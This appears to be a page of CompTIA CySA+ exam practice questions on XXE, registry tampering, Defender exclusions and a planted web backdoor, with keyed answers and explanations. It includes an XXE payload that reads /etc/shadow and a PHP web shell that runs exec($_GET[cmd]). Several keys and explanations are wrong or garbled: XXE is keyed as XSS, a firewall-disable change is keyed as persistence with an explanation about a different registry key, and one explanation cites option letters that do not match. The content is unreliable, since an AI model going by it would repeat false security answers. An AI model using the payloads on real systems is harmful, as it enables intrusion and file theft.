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CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q409-Q414):

NEW QUESTION # 409

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:////etc/shadow">]>
<userInfo>
<firstName>John</firstName>
<lastName>$ent;</lastName>
</userInfo>
```

Which of the following vulnerability types is the security analyst validating?

- A. Directory traversal
- B. XXE
- C. SSRF
- D. XSS

Answer: D

Explanation:
Explanation
XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website.
XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that allows an attacker to interfere with an application's processing of XML data, and potentially access files or systems. SSRF (server-side request forgery) is an attack that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:
https://portswigger.net/web-security/xxe
https://portswigger.net/web-security/ssrf
https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.htm

NEW QUESTION # 410

Which of the following best describes the key elements of a successful information security program?

- A. Business impact analysis, asset and change management, and security communication plan
- B. Security policy implementation, assignment of roles and responsibilities, and information asset classification
- C. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems
- D. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies

Answer: B

Explanation:
A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.
Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets. Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets.
Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting.
Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset.

NEW QUESTION # 411

An analyst received an alert regarding an application spawning a suspicious command shell process Upon further investigation, the analyst observes the following registry change occurring immediately after the suspicious event:

```
Action: Registry Write
Registry Key: HKEY_LOCAL_MACHINE\SYSTEMS\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy
Registry Value: EnableFirewall
Registry Data: 0
```

Which of the following was the suspicious event able to accomplish?

- **A. Establish persistence.**
- B. Impair defenses.
- C. Bypass file access controls.
- D. Implement beaconing.

Answer: A

Explanation:
The suspicious event was able to accomplish establishing persistence by creating a registry change that runs a command shell process every time a user logs on. The registry change modifies the Userinit value under the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon key, which specifies what programs should run when a user logs on to Windows. By appending "cmd.exe," to the existing value, the event ensures that a command shell process will be launched every time a user logs on, which can allow the attacker to maintain access to the system or execute malicious commands. The other options are not related to the registry change. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 10; https://docs.microsoft.com/en-us/windows/win32/sysinfo/userinit-entry

NEW QUESTION # 412

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following:
Add-MpPreference - ExclusionPath '%Program Files%\ksyconfig'
Which of the following is possibly occurring?

- A. Credential harvesting
- B. Privilege escalation
- **C. Defense evasion**
- D. Persistence

Answer: C

NEW QUESTION # 413

A company brings in a consultant to make improvements to its website. After the consultant leaves. a web developer notices unusual activity on the website and submits a suspicious file containing the following code to the security team:

```
<html>
<body>
<img onmouseleave="shutdown" src="shutdown.jpg" alt="shutdown">
<?php
echo '<H1>This website is under maintenance</H1>';
alert('Exit');
exec($_GET[cmd]);
echo $_SERVER['REMOTE_ADDR']
?>
</body>
</html>
```

Which of the following did the consultant do?

- **A. Implanted a backdoor**
- B. Implemented clickjacking
- C. Patched the web server
- D. Implemented privilege escalation

Answer: A

Explanation:
The correct answer is A. Implanted a backdoor.
A backdoor is a method that allows an unauthorized user to access a system or network without the permission or knowledge of the owner. A backdoor can be installed by exploiting a software vulnerability, by using malware, or by physically modifying the hardware or firmware of the device. A backdoor can be used for various malicious purposes, such as stealing data, installing malware, executing commands, or taking control of the system.
In this case, the consultant implanted a backdoor in the website by using an HTML and PHP code snippet that displays an image of a shutdown button and an alert message that says "Exit". However, the code also echoes the remote address of the server, which means that it sends the IP address of the visitor to the attacker. This way, the attacker can identify and target the visitors of the website and use their IP addresses to launch further attacks or gain access to their devices.
The code snippet is an example of a clickjacking attack, which is a type of interface-based attack that tricks a user into clicking on a hidden or disguised element on a webpage. However, clickjacking is not the main goal of the consultant, but rather a means to implant the backdoor. Therefore, option C is incorrect.
Option B is also incorrect because privilege escalation is an attack technique that allows an attacker to gain higher or more permissions than they are supposed to have on a system or network. Privilege escalation can be achieved by exploiting a software vulnerability, by using malware, or by abusing misconfigurations or weak access controls. However, there is no evidence that the consultant implemented privilege escalation on the website or gained any elevated privileges.
Option D is also incorrect because patching is a process of applying updates to software to fix errors, improve performance, or enhance security. Patching can prevent or mitigate various types of attacks, such as exploits, malware infections, or denial-of-service attacks. However, there is no indication that the consultant patched the web server or improved its security in any way.

NEW QUESTION # 414

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